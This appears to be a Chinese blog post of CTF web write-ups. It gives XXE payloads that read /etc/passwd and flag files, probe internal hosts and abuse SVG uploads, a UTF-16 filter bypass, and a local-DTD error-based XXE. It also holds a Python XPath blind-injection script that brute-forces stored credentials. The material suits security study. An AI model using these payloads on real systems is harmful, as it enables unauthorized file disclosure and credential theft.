[NCTF2019]True XML cookbook

抓包发现XXE,构造payload

<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY name SYSTEM "file:///etc/passwd">]
>
<user><username>&name;</username><password>1</password></user>

通过/etc/host查看内网存活主机:
然后用bp爆破C段:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "http://10.34.239.11">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

拿到flag。

[BSidesCF 2019]SVGMagic

SVG是XMl的图片,换句话说SVG文件中能执行XXE

payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

[CSAWQual 2019]Web_Unagi

显然是XML,但是存在过滤,这里用utf-16编码绕过

payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

然后在linux下执行转化命令

iconv -f utf8 -t utf-16 2.xml>1.xml

上传,拿flag,结束。

[GoogleCTF2019 Quals]Bnv

这是个使用本地DTD文件的XXE漏洞。
通常来说要是我们有个能引用外部实体的XXE,自然是想让它请求我们vps上的dtd来操作,但要是防火墙严点就出不去,只能用本地的dtd。

linux自带的dtd文件路径:/usr/share/yelp/dtd/docbookx.dtd

那么引用这个实体,因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

payload:
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

参考1,2

[NPUCTF2020]ezlogin

XPATH注入,长见识了
参考里说的很明白了,基本原理就是利用XPATH语法逐节点进行查询
payload(来自penson by 小乌)

import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

出了后用admin登录,发现可能存在文件包含,利用大小写绕过直接用伪协议读flag即可。

标签: none

添加新评论